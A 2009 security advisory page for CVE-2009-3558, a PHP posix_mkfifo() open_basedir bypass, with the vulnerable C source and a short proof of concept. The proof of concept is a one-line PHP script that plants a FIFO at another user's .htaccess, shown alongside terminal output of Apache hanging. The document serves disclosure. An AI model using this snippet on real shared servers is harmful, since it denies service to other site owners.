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Home arrow SecurityAlert Database

Arrow  Topic :

PHP 5.3.0 5.2.11 posix_mkfifo() open_basedir bypass


Arrow  SecurityAlert : 6600
Arrow  CVE : CVE-2009-3558
Arrow  CWE : CWE-264
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : Grzegorz Stachowiak
Arrow  Published : 30.09.2009
Arrow  Updated : 27.11.2009

Arrow  Affected Software : php:php:1.0
php:php:2.0
php:php:2.0b10
php:php:3.0
php:php:3.0.1
php:php:3.0.10
php:php:3.0.11
php:php:3.0.12
php:php:3.0.13
php:php:3.0.14
php:php:3.0.15
php:php:3.0.16
php:php:3.0.17
php:php:3.0.18
php:php:3.0.2
php:php:3.0.3
php:php:3.0.4
php:php:3.0.5
php:php:3.0.6
php:3.0.7
php:php:3.0.8
php:php:3.0.9
php:php:4.0
php:php:4.0.0
php:php:4.0.1
php:php:4.0.2
php:php:4.0.3
php:php:4.0.4
php:php:4.0.5
php:php:4.0.6
php:php:4.0.7
php:php:4.0:beta_4_patch1
php:php:4.0:beta1
php:php:4.0:beta2
php:php:4.0:beta3
php:php:4.0:beta4
php:php:4.1.0
php:php:4.1.1
php:php:4.1.2
php:php:4.1.3
php:php:4.2
php:php:4.2.0
php:php:4.2.1
php:php:4.2.2
php:php:4.2.3
php:php:4.2.4
php:php:4.3
php:php:4.3.0
php:php:4.3.1
php:php:4.3.10
php:php:4.3.11
php:php:4.3.2
php:php:4.3.7
php:php:4.4.2
php:php:4.4.7
php:php:5.0.0
php:php:5.0.0:beta4
php:php:5.0.3
php:php:5.1.1
php:php:5.2.1
php:php:5.2.5
php:php:5.2.6
php:php:5.3.0
php:php:5.2.10 and previous versions
php:php:4.4.8
php:php:4.4.9



Arrow  Advisory Content :  

[ PHP 5.2.11/5.3.0 (posix.c) open_basedir bypass ]

Author: Grzegorz Stachowiak

Date:
- - Dis.: 25.09.2009
- - Pub.: 29.09.2009

Risk: Low

Affected Software:
- - PHP 5.3.0
- - PHP 5.2.11 and prior

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.

http://lu2.php.net/manual/en/function.posix-mkfifo.php

- --- 1. PHP 5.2.11/5.3.0 (posix.c) open_basedir bypass ---

posix_mkfifo — Create a fifo special file (a named pipe)

posix_mkfifo() creates a special FIFO file which exists in the file system
and acts as a bidirectional communication endpoint for processes.

Function not check open_basedir value, so we can create any file in any
writable folder, if open_basedir is enabled. We can "freeze" Apache and
prevent access to any writable folder.

- ---ext/posix/posix.c---

PHP_FUNCTION(posix_mkfifo)
{
char *path;
int path_len;
long mode;
int result;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl", &path,
&path_len, &mode) == FAILURE) {
RETURN_FALSE;
}

if (PG(safe_mode) && (!php_checkuid(path, NULL, CHECKUID_ALLOW_ONLY_DIR)))
{ [1]
RETURN_FALSE;
}

result = mkfifo(path, mode);
if (result < 0) {
POSIX_G(last_error) = errno;
RETURN_FALSE;
}

RETURN_TRUE;
}

- ---ext/standard/file.c---

[1]. Function posix_mkfifo check only safe_mode value.


- ---example0 (5.2.11/5.3.0)---

x@x-desktop:/var/www/$ php -v

PHP 5.3.0 (cli) (built: Sep 22 2009 14:06:39)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2009 Zend Technologies

|----------------------------------------------------------------|

x@x-desktop:/var/www$ php -r "echo ini_get('open_basedir').PHP_EOL;

/var/www:/tmp

x@x-desktop:/var/www$


|----------------------------------------------------------------|

x@x-desktop:/var/www$ cat fifo.php

<?
posix_mkfifo('/home/y/www/.htaccess',0777);
?>
|----------------------------------------------------------------|

x@x-desktop:/var/www$ wget http://localhost/config.txt
--17:39:31-- http://localhost:80/config.txt
=> `config.txt'
Connecting to localhost:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 25 [text/plain]

0K -> [100%]

(24.41 KB/s) - `config.txt' saved [25/25]

|----------------------------------------------------------------|

x@x-desktop:/var/www$ php fifo.php

x@x-desktop:/var/www$

|----------------------------------------------------------------|

x@x-desktop:/var/www$ wget http://localhost/config.txt
--17:39:43-- http://localhost:80/config.txt
=> `config.txt'
Connecting to localhost:80... connected!
HTTP request sent, awaiting response...

|----------------------------------------------------------------|

Apache try receive access to .htaccess file, but fifo special file not
allow a "normal" read, so we can't read files in this directory and all
subdirectories.

- --- 3. Contact ---

Author: Grzegorz Stachowiak
Email: stachowiak {a|t} analogicode.pl


Arrow  References :

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/posix/posix.c?view=log
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/posix/posix.c?view=log




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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